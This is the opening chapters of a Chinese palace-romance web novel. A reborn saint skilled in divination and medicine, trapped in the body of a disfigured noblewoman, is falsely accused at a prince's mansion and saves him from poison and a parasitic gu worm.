《王妃靠算卦改了自己的寡妇命》 第1章 暗算,身死 轻纱罗帐,烛光摇曳。 女子的衣裙环佩掺杂着男子的喜服散了一地。 掐丝珐琅的香炉中,一缕龙涎香混着合欢花的香味在空气中飘散开来。 女子嘤嘤啼哭的声音传到耳边,模糊又遥远…… 蓦地,一股大力将裴清歌掀翻在地,她在地上滚了几滚,头重重地磕在桌腿上,人也醒了过来。 她挣扎着坐起身,只觉得头疼欲裂,浑身如车轱辘碾压过般的疼痛。 抬眼,便见到那坐在雕花大床上的男子,眼底带着疯狂的恨意,仿佛毒针般往她的心上扎去。 “姐姐,你怎么能如此对我?我与王爷情投意合,今日终于结为夫妻,你怎么能迷晕我替我洞房?” “三年前,你在洪都与有妇之夫苟且,被人泼了热油毁容,又被爹爹打断一条腿,如今这盛京没有人愿意娶你,那也不是我的错啊!” “你嫁不出去,就要毁我大好姻缘么?” 裴玲珑穿着嫁衣,坐在桌边,哭得梨花带雨。 一个嬷嬷站在她旁边,淬了毒的目光朝裴清歌看过来,恨不得把她剥皮喝血。 裴清歌脑袋里一片空白,今日是她妹妹裴玲珑与肃亲王白锦夜大婚的日子,裴玲珑紧张害怕,就央求她扮成丫鬟陪着她。 拜过天地,进了新房之后,她就晕倒了,再醒来…… 她慌乱地从地上拽过一件衣衫遮住自己满是青青紫紫痕迹的身体,看向裴玲珑,嘴唇动了半响,才低哑地吐出几个字,“不,不是我……” 裴玲珑一下子哭得更大声,“姐姐,我自小就不敢与你争。” “你是嫡姐,我是庶妹,你喜欢的,我都让给你,最好的东西永远都留给你。” “你若早说你喜欢王爷,我也……我也不敢答应这亲事,可是你怎么能如此欺辱我?一定要在我大婚之日踩在我头上你才甘心么?” “玲珑,我没有。”裴清歌摇了摇头,却又不知道该怎么解释,只是想要过去拉住裴玲珑。 裴玲珑却尖叫着躲开她的手,“姐姐,我让你便是!”说着她转身对着床上的男人福了福身,“王爷,你我此生无缘,望你善待我姐姐。” 说完,捂着嘴啜泣着跑了出去。 “玲珑!”白锦夜喊了声她的名字,可他衣袍未穿,也无法追出去,只能将森寒的目光重新落在裴清歌的身上。 那寒冰般的眼神,像是刀子一样割着裴清歌的血肉,她瞳孔瑟缩了下,“王爷,真的不是我。” 她死死地咬着嘴唇,脸上毫无血色。 “不是你?”白锦夜眯了眯眼,“那为何大婚之日,你会在本王府上?你混进王府,以为毁了玲珑的婚事,以为与本王做了这事,本王就会让你做王妃了?” 他下了床,一步一步地朝裴清歌走过来,周深散发着寒意,就像是要收人性命的阎王。 走近了,他俯下身,单手狠狠地捏住她的下巴,“瞧你这张脸,本王看着都恶心。” 两个人近在咫尺,从白锦夜的眸子倒影中,裴清歌看清了自己的面容,丑陋不堪、疤痕凹凸不平的脸清晰可见。 她的面纱早就不知道在什么时候脱落了! 她痛苦地闭上眼睛,眼泪汹涌而出,一切的解释都苍白无力! “既然从小就喜欢抢玲珑的东西,那从今以后,但凡你所爱,本王都会尽数毁掉。” “玲珑要本王把你留在王府,本王一定‘善待’你。” “我没有,我真的没有。”裴清歌只是木然地重复着这句话,“我没有要破坏玲珑的婚事,也没有要抢走王爷,我也是被人……” “本王自然不是你能抢走的。”白锦夜打断她的话,拎起衣袍披在身上,修长的腿一踢,桌椅坍塌倒地,桌上的东西碎了一地。 龙凤喜烛倒在地上,点燃了衣物。 他站在火光之中,声音裹着冷意,眸中尽是鄙夷,“本王便当王府多养了一个畜生。” 说罢,头也不回地转身离去。 火光映红了裴清歌的脸,三年前,洪都之事,她早已臭名昭着。 可三年前,她是为了救人,即便没人相信她,她自己于心无愧。 而如今,即便非她所愿,她还是破坏了裴玲珑的婚事,脏了白锦夜的眼。 她确实是个畜生,竟然抢了亲妹的婚事! 她还有何脸面活着? 裴清歌从地上摸起一块茶杯碎片,朝自己的手腕割去。 爹,娘,女儿不孝,来世做牛做马,再报答你的养育之恩。 鲜血顺着她白皙的手指流进火焰之中。 那火非但没灭,反而燃烧得更加妖异。 裴清歌的脸逐渐转白,整个人如同残败的花朵,骤然枯萎。 * 火焰映红了窗子,守在院中的嬷嬷一脸怒意,一个毁了容的臭瘸子敢如此糟蹋王爷,留不下王爷,还要火烧新房么? 不给她点颜色看看,她莫不是还要上天? 嬷嬷越想越怒,一脚踢开了房门! 第2章 重生 “嘭!” 房门被人一脚踹开,倒在地上的裴清歌也猛地睁开眼睛,眼底闪过一抹杀意! 她堂堂北冥国圣女,竟遭人暗算惨死! 她恨! 就算做了厉鬼,也绝不会放过那幕后之人! 蓦地,一盆冷水兜头浇下,不断的咒骂声也跟随响起。 “也不看看自己是什么货色,还敢算计王爷,瞧这副尊荣,怕是傻子都嫌弃。” “玲珑姑娘真是不知道造了什么孽,摊上你这么个好姐姐!” 裴清歌被冷水浇得一个激灵,她不是死了么?怎么还会感觉到冷? 被嬷嬷浇灭了的火呲呲地冒起白烟,呛的裴清歌咳嗽了几声。 她看着这陌生的环境,这是哪? 高嬷嬷端着水盆,看着裴清歌胳膊上的血迹,“王爷可不吃你这套一哭二闹三上吊的把戏。” “真要想死,回你们裴府去死,别脏了我们王府!” 裴清歌被这嬷嬷吵得头疼,冷眼看过去,“聒噪!” “呦!小贱人,还敢骂我?”高嬷嬷扔下水盆,一巴掌抽过去。 裴清歌刚醒过来,还没适应这身体,抬手想挡,却晚了一步,被这嬷嬷一巴掌打在脸上,顿时眼冒金星。 伴随着这阵眩晕,一些不属于裴清歌的记忆涌上脑海。 这原主是天风国裴元帅府的嫡长女,今日是她的庶妹裴玲珑与肃亲王白锦夜大婚的日子。 裴玲珑昨晚央求原主扮做丫鬟陪她来王府,陪她三日,等三日回门的时候,再一起回家。 可原主陪着裴玲珑进了新房,闻到一股异香,就晕了过去。 等醒来,已经和肃亲王白锦夜行了欢好之事。 原主无颜苟活于世,就自尽了。 看来她是身死魂未灭,重生在这死去的裴元帅嫡长女身上了。 “你可知道王爷为了今天的婚事筹备多久?这新房都是王爷亲手布置!如今婚事毁了,好好的新房闹成这样,可真是晦气!” 高嬷嬷说着一脚踢在裴清歌的肩头,“没死就赶紧起来,还要我伺候你么?” 裴清歌抬眼看着这嬷嬷,眼底闪过冷意,“晦气?我再晦气能有你晦气?你天庭发灰,阴暗不明,青色浮于眼下,嘴角发黄,是将死之相。三盏阳火灭了两盏,剩下这一盏……你若再犯口舌,今晚必灭!” 高嬷嬷心里一惊,诧异地看着面前的人,骂到嘴边的话也咽了回去。 裴清歌冷哼了一声,她可是北冥国圣女,玄学五术“山医命相卜”样样精通,高嬷嬷身上的这点小事,可瞒不过她的眼睛! 她看着趴在高嬷嬷背上那模糊的影子,顿了顿,又道,“你家中最近有人上吊自杀,绳子搭在梁上系了两个圈,是子母索命圈,她自己用了一个,另外一个还需要一条命去填,上吊之人的近亲七日内必死无疑。你眉毛稀少,亲缘相薄,想必也没什么别的亲人了,这世上,能救你的,就只有我!” 高嬷嬷霎时觉得脊背发凉,不由得后退了几步。 她越看裴清歌越觉得邪门。 她娘确实是上吊自杀,那绳子确实也是系了两个圈,风水先生说,只要把绳子烧了就没事了,她已经把绳子给烧了。 而且那风水先生也说了她印堂发黑,要小心行事,再去庙里求一道平安符。 最近王府有喜事,她忙得抽不开身,还没来得及。 而且她对外都是说她娘是得了急病,那她娘上吊这事裴清歌怎么知道?! 高嬷嬷惊疑不定地看着裴清歌,一时不知道该如何是好。 裴清歌挣扎着坐到床上,从衣襟上私下一条布,缠住手腕,嗓音温凉,“也不知道你那家人跟你有什么深仇大恨,不惜舍了自己的命,也带着你一起死。你可以不信,但是头七的日子你可记好了,以后那天就是你的忌日了。” 这一句话说得高嬷嬷心头一惊,想着她娘死时脸色发青,双目突出的恐怖模样,双腿一软,一下跪倒在地。 再有半个时辰,过了子时,就是她娘的头七了! “裴……裴姑娘,我该怎么办?”高嬷嬷咽了一口口水,艰难地问道。 “那绳子呢?”裴清歌开口问道。 “那位给我娘看坟地的风水先生说,烧了就没事了,所以我就……” “蠢!”裴清歌微微拧了拧眉,“本来找一只鸡,贴上你的生辰八字,塞进绳套里,就无事了,不懂装懂,害人不浅!” 高嬷嬷的额上都渗出汗来,“那我现在该怎么办?” “你娘死不瞑目,头七夜里必然找你索命。”裴清歌说着靠在床头,两眼盯着高嬷嬷,像是在看一个死人,“可如今,我自身难保,在王府里也寸步难行,就算有心救你,怕也……” 她说着摇了摇头,“你便自求多福吧。” “裴姑娘稍等,我这就去给你找药。”高嬷嬷是个人精,当下就明白了裴清歌的意思。 “再拿一套银针过来。”裴清歌唇角勾了勾又交代了一句。 高嬷嬷应了一声,赶紧出门去找东西。 她一走,裴清歌就忍不住笑出声来。 她竟然命大重生,想必那害了她师父、又害了她的人也想不到还有这种操作! 这原主又丑又瘸怎么了? 只要活着,她就能逆天改命! 外面守门的丫鬟听着房间里这让人毛骨悚然的笑声,不由打了个激灵,那裴家丑八怪不会是被王爷刺激得疯了吧? 不过转念一想,疯了才好,直接送进疯人塔,省得在王府作妖! 丫鬟想着也对着房门啐了一口。 约摸着一盏茶的时间,高嬷嬷就抱着一包东西回来。 裴清歌翻看了她拿的药,是上好的金疮药,看样子这嬷嬷在王府的地位不低。 她拿了针线,缝合手腕上的伤口,这原主一心求死,伤口太深,若是不缝合,怕是难以痊愈。 处理好伤口,她让高嬷嬷找来纸笔,列出了一个清单,“你把这些东西备齐,我便可救你性命。” 高嬷嬷接过清单,入目,是一手好看的簪花小楷。 她又看了看裴清歌难以入目的脸颊,听闻她毁容之前,是盛京第一美女,琴棋书画样样精通。 只可惜……再好的皮囊也包不住一颗肮脏的心! 三年前,刚过及笄之年,就在洪都偷人。 如今脸都毁了,还不死心,又这样玷污王爷。 高嬷嬷暂且压下心里的怒意,拿着清单走了。 裴清歌瞥着高嬷嬷的背影,这老嬷嬷精着呢。 要是真为她好,就会直接找府医过来了。 不过就是稳住她而已,等得了活命的法子,还不知道怎么磋磨她。 裴清歌仔细地感受了一下这具身体,无奈地摇了摇头。 太弱! 在这种弱肉强食的世界里,没有武功,太难自保。 得想办法赶紧调理身体,打通经脉,恢复武功才是。 * 第二日一早,一个丫鬟端着一盘子包子进了门,见着桌子已经散了架,就把盘子往床上一扔,“吃饭了。”说完,头也不回的往外走。 包子散落得到处都是,盘子也扣在床上。 裴清歌撑着身体坐起来,这是连一个丫鬟都欺负到她头上了? 要是原主也就罢了。 既然她来了,她倒想看看谁敢在她北冥国圣女的头上撒野! 第3章 你若能活到今晚 裴清歌顺手抄起一个已经发硬了的包子,抬手就打向那丫鬟。 包子不偏不正,打在丫鬟的后脑勺上,丫鬟诶呦一声转过身,“你打谁呢?” “肉包子打狗,你说打谁?”裴清歌从床上站起来,伸了个懒腰。 因为是混进王府,她穿的也是下人的衣服,本是粗野的动作,由她做来却有股未经雕琢的优美,仿佛慵懒的豹子舒展身体。 “你骂谁是狗呢?”丫鬟叉起腰。 裴清歌淡笑地瞥着丫鬟,也不搭话,那表情很明显—— 不是骂你还能骂谁? 丫鬟被她看得恼怒,“看什么看?还真把自己当王妃了么?王爷可说了,就当王府多养个畜生,我好心给你送饭,你还敢骂我是狗?” “畜生果然是畜生,不能给什么好脸色。”说着几步上前,抬起手就要扇过去。 裴清歌一把抓住那丫鬟打过来的手,“我就算不是王妃,也是裴府的大小姐,你算是什么东西!” 话音落下,她也一巴掌抽在丫鬟脸上,登时出现红红的掌印。 “你好心给我送饭?这是能吃的饭么?” 裴清歌说着从床上捡起一个包子,往丫鬟的嘴里塞,“你这么好心一大早给我送饭,那这包子赏你了,吃了吧。” 这丫鬟当然知道她送过来的是准备喂猪的馊包子,怎么可能会张嘴去吃? “裴清歌,我可是王府的大丫鬟,是皇后娘娘赏给王爷的,你敢动我,皇后要了你的命!”绿竹想要抽回自己的手,却被裴清歌死死捏住,她也被她的眼神看得肝颤,便赶紧抬出了皇后来压她。 “呵。”裴清歌轻笑一声,“大丫鬟也是丫鬟,皇后赏赐的,就不是丫鬟了么?”她说着手上微微用力,“咔”的细微声音想起,绿竹的手腕就脱了臼,“在王府,还敢拿皇后压人,是当你们王爷死了么?” 绿竹顿时疼得眼底冒起泪花,裴清歌趁势捏住她的脸颊,迫使她张开嘴,就把包子塞了进去,“好吃吧?好吃就把这些包子都吃了,今天的事,我就不跟你计较。” 馊腐的味道顺着舌头钻入鼻腔,绿竹刚吃的早饭都差点吐出来,可是脸被捏着,她只能瞪着裴清歌发狠。 “诶呦,裴姑娘,你这是做什么呢?”高嬷嬷走进门,赶紧走上前,拉开裴清歌,“这绿竹可是皇后娘娘赏给王爷的通房丫头,王爷疼的紧呢。” 裴清歌扫了一眼绿竹,脸上带了几分嫌弃。 绿竹把嘴里的包子吐净,一手扶着自己脱了臼的手腕,恶狠狠地盯着裴清歌,“你那是什么眼神?我再怎么样跟着王爷的时候也是清清白白,王爷要我也是心甘情愿,可不像你,丑得像个鬼,要给王爷下药才能成事!” “另外一只手也不想要了是吧?”裴清歌轻描淡写地问了句。 绿竹脸色白了白,“你等着,我让王爷扒了你的皮。”说完转身快步往外面走。 高嬷嬷看着绿竹走远,才低声道,“裴姑娘,你何必惹恼她?”说完就直接把这事翻篇,“你说的东西,我都已经准备好了,不知道下一步该怎么做?” “我饿了。”裴清歌一脚踢开地上的一个馊包子。 高嬷嬷垂下眼,心里计较了一番,“王爷这会上朝未归,你与我去厨房,吃快些,不会被人发现。” 此话一出,裴清歌便见高嬷嬷背上原本模糊的人影蓦地清晰了不少,是一个老妪。 此刻那老妪脸上的怒意都看得清清楚楚。 她手里拿着一条绳子,想要去勒高嬷嬷的脖子。 但高嬷嬷头顶的阳火虽弱还亮,那绳子就绕不到前面来。 看样子这高嬷嬷让自己去厨房,必然是没按什么好心,她那背后之人见不得她再害人,已经忍不住提前要动手了。 裴清歌看着她都已经死到临头还满腹花花肠子,只是勾唇笑了笑,从床角捡起面纱,遮了脸,就跟着她出了门。 她如往常一样,早起便给自己起了一卦,卦上显示她今日有劫,虽有一线生机,但生机却在白锦夜。 既是有劫,那躲是没用的,兵来将挡水来土掩,反正总有一线生机! 倒是这高嬷嬷,既然铁了心的找死,那她就送她一程! 到了厨房,高嬷嬷跟厨房管事的孙嬷嬷说了几句,便端了清粥、馒头和几样小咸菜放在厨房院里的石桌上,“裴姑娘,赶紧吃吧。” 裴清歌刚喝了两口粥,高嬷嬷就忍不住开口问,“裴姑娘,我那事……” 她放下粥碗,笑了笑,“嬷嬷,你若是能活到今晚,就在那草人身上贴上你的生辰八字,吊在房梁上,然后用升麻煮水浇满全身,在床前洒满拌了黑狗血的草木灰,躲在床下,无论听到什么,都不要出来。等到天亮鸡叫,你就没事了。” “真的?”高嬷嬷眼睛一亮,但又马上抓住了重点,“你说,若能活到今晚是什么意思?” 裴清歌抬眼笑着看她,还不等说话,一队侍卫就团团围住了厨房的院子,“所有人,全都拿下!” 第4章 一线生机 厨房毕竟是孙嬷嬷的地界儿,她赶紧上前几步,看着侍卫首领,“司大人,敢问出了什么事?” “今早王府有人用了早饭之后中毒,王爷命我彻查。厨房里的人,一个都不准放出去!”司空冷喝一声。 孙嬷嬷一惊,若是中了毒,那就可大可小……她眼珠转了转,突然转身一指裴清歌,“司大人,今天厨房没有外人来过,只有她——裴清歌!而且老奴已经着人给她送了早饭过去,她偏又要来厨房找吃的,定是居心不良!” 厨房的几个婆子也低声议论。 “就是,听说昨晚就是混进了新房,迷晕了玲珑姑娘,又给王爷下药。” “不知道混进咱们王府到底想要干什么。” “一个毁了容的瘸子,定然是见不得别人好,毁了自己亲妹妹的婚事,还对咱们王府的人下手,呸,真下作。” 司空看着裴清歌,眸色一沉,“就请裴姑娘跟我走一趟吧。”说完又交代副将,“没有水落石出之前,厨房的人都看牢了。” 裴清歌知道,这应该就是她的劫数了。 而且这么一折腾还不知道要多久,迅速的喝了几口粥,又拿起一个馒头,跟着司空离开了厨房。 司空拧眉看着裴清歌还没心没肺的吃着馒头,“裴姑娘倒是能做个饱死的鬼。” 裴清歌笑着觑了他一眼,“大人放心,我小时候算过命,算命的说我能长命百岁。” “那算卦之人怕不是个瞎子,听错了你的八字。”司空冷哼一声,收回目光,不再理会。 裴清歌也不辩解,慢条斯理的吃完包子,又用袖口擦了擦嘴,抬眼看着院子门口的两个大字——睢园。 “王爷。”进了院子,司空快步走到白锦夜身边,在他耳边低声说了几句。 白锦夜一道冰冷的目光射过来,仿佛要洞穿裴清歌的身体,“解药,拿来!” “我没有下毒,更没有解药。”裴清歌好整以暇地看着面前的男人,他剑眉风目,伏羲骨成方,是日角之相,倒是有帝王命,可却偏偏命宫暗淡,是短命之人。 若不是这帝王之气撑着,恐怕早就没命了。 看相一术上,她的造诣她师父都自叹不如,她当然也不可能有任何错漏。 昨晚之事,原主分明也是被人算计,可这王爷不分青红皂白,就把过错都归结到原主身上。 今日又单凭那厨房嬷嬷的一句话,就认定她下毒。 天风国有如此是非不明黑白不分、却掌管军权王爷,怪不得近几年国运连连下滑。 “打,打到她拿出解药为止。”这一下,白锦夜连看都不愿意看裴清歌一眼,对着司空交代了一句,转身就回了房间。 陆绝正坐在床边替中毒之人诊脉,他神色凝重,“王爷,这毒我前所未见,一时找不到解毒之法,只能暂且以金针护住他的心脉,王爷还是要尽快找到下毒之人,拿到解药。” 白锦夜眯了眯眼,没说话。 陆绝收回手,往院子里看了看,“那裴清歌真的是下毒的人?” “哼。”白锦夜冷哼一声,“她娘与皇后是闺中密友,皇后每日盯着本王这王府,一个绿竹不够,还要趁着本王大婚,把裴清歌塞进来,不是她又是谁?” 说到这个,陆绝眼里也闪过一抹杀意,“绿竹只是个丫鬟,这裴清歌……若真是皇后的奸细,那便留不得了。” 此时,院里几个侍卫已经上前抓住裴清歌。 她武功尚未恢复,自然不是对手,双臂被紧紧的禁锢住,一鞭子就火辣辣地抽到了她的后背上。 “裴姑娘,不想受苦,就尽快拿出解药。”司空站在她面前,脸上毫无表情。 “我也就比你早一盏茶的时间到厨房,那会毒都已经被服下了,怎么可能是我下的毒?那嬷嬷一句话,你们若相信,那便信吧,就是打死我,也没有解药。”裴清歌疼得咧了咧嘴,“枉他天风国堂堂肃亲王,如此偏听偏信,迟早死在小人手上!” 听着院子里的骂声,白锦夜拧起眉,“司空,你什么时候开始,对女人会手下留情了?” 司空一听这话,就知道白锦夜是真的生气了,抬腿一脚踢在裴清歌的肚子上,“解药!” “没有!”裴清歌咬着牙忍着痛,嘴角流出一丝血。 “打!”司空后退了一步,看着鞭子不停地落在裴清歌的后背上,很快便血肉模糊一片。 他拧眉看着裴清歌不屈的眼神,他在战场上杀过太多人的,也审问过无数的犯人,可这样的目光,他还是第一次见—— 就是打死她,她也不会拿出解药。 司空心里蓦地冒出这样一个念头,脚步顿了下,转身进房间向白锦夜禀告。 话音落下,还不等白锦夜说话,床上的人就抽搐了一下,大口的鲜血从他嘴里涌出。 “来不及了。”白锦夜拧起眉头,上前几步,把人扶起来,掌心贴上他的后背。 “不可!”陆绝要阻止。 “他不能死,只有他能救本王母妃!”白锦夜将毒慢慢地引导到自己的身体里,一炷香后,他撤回了手,脸色苍白,身体晃了晃,把人放回床上躺着。 陆绝重新上前诊了脉,“无事了,可是王爷你……” “本王把毒慢慢逼出体外就是。”白锦夜说完,转身走出房间。 裴清歌趴在地上,已经奄奄一息。 “王爷,人还留着么?”司空开口问道。 “不必,拖出去喂狗。”白锦夜瞥了一眼,便从她身边走过。 裴清歌却挣扎着,抬手一把抓住白锦夜的裤脚,气若游丝,“你命堂暗淡,眉心有一抹暗红,是有血光之灾,我……能救你。” 白锦夜一脚踢开她,想说什么,但喉头一阵腥甜,胸中血气翻涌,一口血喷出来,人就直直地倒了下去。 “王爷!”司空赶紧上前查看。 可白锦夜双目紧闭,毫无反应。 裴清歌轻笑出声,“报应来的可真快。” 司空红了眼,转头看向侍卫,“没听王爷说么?还不把她拖出去喂狗!” “只有我能救他。”裴清歌重复了一遍,“你若不信,就看他胸口往下三寸,是不是有一个黑……” 她的话还没说完,就被侍卫拖着往外走。 只是刚走出去丈余,就听司空的声音传来,“把人带回来!” 裴清歌勾唇一笑,闭眼晕了过去。 第5章 驱蛊 “嘶!” 裴清歌指尖传来钻心的疼痛,睁开眼,便见自己被随便的丢在床边的地上。 “不是能救王爷么?还不快去?”司空用剑柄推了推裴清歌的肩膀。 裴清歌转头看了他一眼,往前踉跄了几步,爬到床边,指尖搭上白锦夜的脉搏。 她后背的血已经凝固,将伤口和衣服粘在一起,稍稍一动,衣服就牵扯着伤口,光是诊脉就疼得她额上渗出不少汗珠。 那毒虽然烈,但是从另外一个人引到白锦夜身上的,毒性减了一半,也不至于让身体强健的白锦夜一下子变成这副模样。 他之所以这样,不只是中毒,还有蛊! 裴清歌站起身,费力地挨着床边坐下,又是疼得倒吸一口凉气,她才转头看向司空,“解毒之后,要给我用王府的药材,还有,不许苛刻我的饭菜。” “本来就是你下的毒,不杀了你已经是开恩了,还讲条件?”司空冷眉一竖。 “我说了,不是我下的毒。”裴清歌说着也撑不住自己的身体,半趴在床上,“你若是不答应,我现在伤重,又没吃的,恐怕也活不了多久了,那我就跟你们王爷一起死吧。” “你!”司空一听,便要拔剑,“王爷福泽深厚,定不会有事,但我现在就可以把你剁碎了喂狗!” 陆绝微微眯了眯眼,抬手制止,“司大人是王爷副将,王府的事,他做不了主,你刚刚说的,我答应你。” “你能做主?你是谁?”裴清歌抬眼看他。 “我是陆绝。” “陆绝?”裴清歌狐疑地看了看他,显然是没听过这个名字,但还是点点头,“拿纸笔来。” 陆绝扫了一眼裴清歌疑惑的神情,皇后既然派裴清歌来,又怎么会没交代过她什么,不然也不会用这种他都没见过的毒。 这女人还真是会演戏。 心中虽然有了计较,但他还是拿来了纸笔。 “我说,你写。”裴清歌拧了拧眉,念了两张方子,“现在就去煎药。” “这不是解毒的方子。”陆绝看着手里的方子。 “这是我自己要吃的药。”裴清歌说了吸了一口气,“你们王爷现在嘴都撬不开,还吃什么药?” 陆绝犹豫了一下,但显然如果不给裴清歌吃药,她也不会救治白锦夜,于是转手把方子交给了一个嬷嬷,让她去抓药熬药。 裴清歌看着嬷嬷离开,才挣扎着爬到床上,如果白锦夜没对她下手,她也不用这样费力,白锦夜自己也能少遭点罪。 她找了几个姿势始终不方便下手,只能骑在了白锦夜的身上。 “你……”司空见她这大逆不道的样子,又要上前,可看到陆绝的眼色,只能停下,死死地盯着裴清歌。 裴清歌用颤抖的手,解开了白锦夜的衣襟,盯着他的胸口看了一会,才道,“陆绝,一会还要你帮忙。” “你说。”陆绝点点头。 刚刚裴清歌开出来的方子,虽然都是止血生血补气养生的作用,但是她的方子,见效快又没有什么副作用,能随口说出这样的方子,起码……她医术应该确实不低。 “王爷中毒事小,他身体里有蛊虫,我要把蛊虫拔出来。这蛊虫在靠近心脏的位置,比较凶险。”裴清歌说着顿了顿,“但是我的左手有伤现在动不了,一会我找到蛊虫的位置,你要马上抓住它,拔出来。” “还有,王爷要是中途醒了,你要按住他,不然蛊虫再次入体,就很难除了。” 陆绝眉头狠狠地蹙在一起,怪不得王爷的脉象奇怪,原来是有蛊虫! 可是什么时候被下的蛊虫?难道是在睢园? “好。” “有匕首么?”裴清歌又问。 陆绝是没有的,便看向司空。 司空从怀里拔出匕首,递向裴清歌,又顿住,“你若是……” “行了行了。”裴清歌不耐烦地打断他,“你没见我已经是强撑着了么?我要是撑不住,再有半个时辰,大罗神仙也救不了他。” 司空只得把匕首递过去,但却已经打定了主意,但凡裴清歌意图不轨,他就一剑割断她喉咙! “去点一根蜡烛拿过来。”裴清歌又道,“蛊虫取出来就立刻烧了。” 司空顿了顿,一直只听白锦夜的命令的他,看着裴清歌这么理所当然的使唤他,心里极度不爽,可此时为了白锦夜性命却也只能听话的去拿蜡烛。 裴清歌在白锦夜的胸口摸了一会,确定了位置,对着陆绝道,“准备好了。” 陆绝点点头,神色凝重,这种事他也没做过,只能屏息以待。 裴清歌吸了一口气,抬起匕首,猛地划下去。 一点蛹动的黑色在翻开的血肉里极为显眼,陆绝当即伸手抓住,可往外拽的时候,白锦夜却突然惊醒! “快!”裴清歌催促。 “呃!”白锦夜痛呼出声,他咬牙切齿地扫了一眼裴清歌,又看向陆绝,“陆绝,你在干什么?!” 看着这男人恶劣的神情,裴清歌心里明白,这会是有陆绝挡着,要是只有她自己,白锦夜八成一个字都不会说,只会一巴掌把她扇走! 这样看来,白锦夜倒是相信陆绝。 裴清歌扫了一眼陆绝的脸,怪不得他能做得了王府的主。 “别动!”陆绝只抓住了一点,可那虫子拼命的挣扎,又细又滑,很难抓住,“司空,按住他!” 司空也看到了那一点黑色,这会也不怀疑裴清歌的话,赶紧上前按住白锦夜,“王爷,得罪了!” “别松,它会往里面……”裴清歌的话还没说完,就见陆绝已经抬起了手,手上空空荡荡的,什么都没有! “跑了。”陆绝的脸色瞬间惨白! 这一下那蛊虫钻得更快,钻心的疼痛让白锦夜的身体都快蜷缩起来,发出阵阵低吼。 第6章 是你娘亲口告诉我的 “废物。” 裴清歌忍不住低声骂了一句,“还傻愣着干什么?按住他的腿!别让他乱动!” 从小被神医收为徒弟,出师后继承神医之名的陆绝此刻被骂废物,竟也不敢还嘴,只能转身去按住白锦夜的腿。 裴清歌下意识地去摸袖子里的锁魂玉笛,若是用锁魂玉笛……可手摸了个空,她才意识到她现在重生了,已经没有锁魂玉笛了。 她苦笑了一声,只能抬起手,割破手指,在白锦夜胸口伤口的周围用血涂涂画画。 司空双手按着白锦夜的肩膀,转头看着裴清歌的动作,虽然看不懂她在干什么,但是没一会,那抹黑色突然又出现在视野。 这一次司空眼疾手快一把就把那黑色拽了出来! 像头发丝一样的黑色虫子,被他直接甩到蜡烛上,沾了火,迅速的就烧成了灰。 但那虫子出来的地方,却有血不断喷涌出来。 “要怎么止血?”司空看着裴清歌低声问道,显然在这件事上相对于陆绝,他已经更相信她了。 裴清歌拧了拧眉,她现在就靠一口气撑着,要是救了白锦夜,她伤势肯定要加重。 可不救白锦夜,她这一线生机还不知道在哪。 但凡换了别人裴清歌也不至于纠结。 只是看着眼前这都快死了的男人,看着她的表情还是如此恶劣,她就一点都不想救他。 犹豫了半响,她才咬破舌尖,一口血水对着喷了过去。 那股血水就瞬间止住了。 她自己也终于眼前一黑,倒下去,一头扎在白锦夜的胸口。 谁也没看见,白锦夜胸口流出来的血,沾在裴清歌的脸上之后,像是有了生命一样,顺着她的脸,逆流向她的脖颈,在衣服下面消失得无影无踪…… 蛊虫一除,白锦夜胸口的疼痛也消失了。 他想也没想,司空和陆绝一放手,他恢复了自由,就一把把裴清歌从自己的身上推下去。 她刚才的犹豫他都看在眼里。 呵,他留她在王府,她不知感恩就算了,态度竟也如此顽劣,真是孺子不可教! 陆绝抬手摸了摸白锦夜的脉搏,此时的脉象已经恢复了很多,虽然毒素未除,但毒性毕竟已经去了大半,暂时没有性命之忧,等裴清歌醒了,再要解药就是。 诊完脉,陆绝也把刚才白锦夜昏迷时发生的事情复述了一遍。 白锦夜眉心微皱,“北冥国果然……” “王爷,你说……这蛊虫是睢园那位?”陆绝犹豫了下问道。 “本王帮他逼毒的时候,感觉掌心像是被针扎了一下,可看了一眼,也没见伤口。”白锦夜顿了顿,目光落在裴清歌的身上,眼里闪过一抹晦暗。 “据她说,毒不是她下的。”陆绝想了下,开口道,“我想,她说的应该是真的,不然……大可以见死不救。” 白锦夜沉默了会,“司空,你去查,昨晚至今日进出厨房的人,一个都不要放过。” “是。”司空应了一声,退下了。 此时嬷嬷也端着煎好的药过来了,听说是裴清歌的药,白锦夜挥了挥手,“把人弄到偏房去。” 嬷嬷拖着裴清歌,把她送到了偏房,人昏迷着,只能强行给她灌了药,又不耐烦地给她后背的伤口上了药,才离开。 裴清歌趴在榻上,迷糊间,梦到了自己身在天风国月城。 她师父陷在一个阵法之中,她想要去救她,可却怎么都破不了阵法。 “师父,你再等等,我马上就来救你。” “师父,等我……” 裴清歌低声嗫嚅着,却见那阵法红光大作,一下子就把她师父完全吞噬! “师父!”裴清歌大叫一声,坐了起身,周身冷汗。 她深呼吸了几口,才终于平复下来,一转眼,就见陆绝站在门口。 陆绝是听到她的声音,知道她醒了,才过来,“裴姑娘,可要我帮你看看你的伤?” 裴清歌没动,只是冷声道,“没事,死不了。” 虽然被拒绝,但陆绝却站在原地没走。 裴清歌看着他,也明白了,他来给她治伤只是个托词,来要解药才是真的。 “毒不是我下的。”她又重申了一边。 话音落下,隔壁的卧房就传来噗通的一声,像是有人跪在了地上。 高嬷嬷跪在床前,脸色惨白,“王爷,王爷饶命啊。” 裴清歌闻声,挣扎了一下,从床上起来,推开陆绝要扶她的手,走到门边,倚在门框上,看着高嬷嬷。 高嬷嬷也转头看来,抬手指着裴清歌,“王爷,是她!一定是她!她混进王府,不安好心!” 裴清歌轻笑了一声,她看着高嬷嬷身上最后一盏阳火,无风却动,那火苗挣扎了几番,终于还是熄了,“高嬷嬷,我想起,你刚才问我的问题我还没回答你——你若没想害我,你就能活到今晚。你早已命悬一线,不存善心,还敢生出害人的心思,任谁都没法救你。” “裴姑娘,做人要讲良心,你昨晚受伤,是我给你找药,你今早说饿,又是我带你去厨房找吃的,若是知道你会下毒,我就算有一百个胆子,也不敢带你去厨房啊!”高嬷嬷哭得呼天抢地,“王爷,你不要信了她的鬼话,老奴在王府尽心尽力多年,老奴的忠心你是知道的啊!” 说到最后一句,裴清歌看着高嬷嬷背后的人影目眦尽裂,拿着绳子就套在高嬷嬷的脖子上。 高嬷嬷登时红了脸,但看不见的人,只以为是她哭喊红了脸。 “王爷已经抓了你过来,你以为你做的事,王爷不知道么?”裴清歌笑得有些无奈。 高嬷嬷一怔,抬眼看向榻上的白锦夜,嘴唇动了动,却没吐出什么字来。 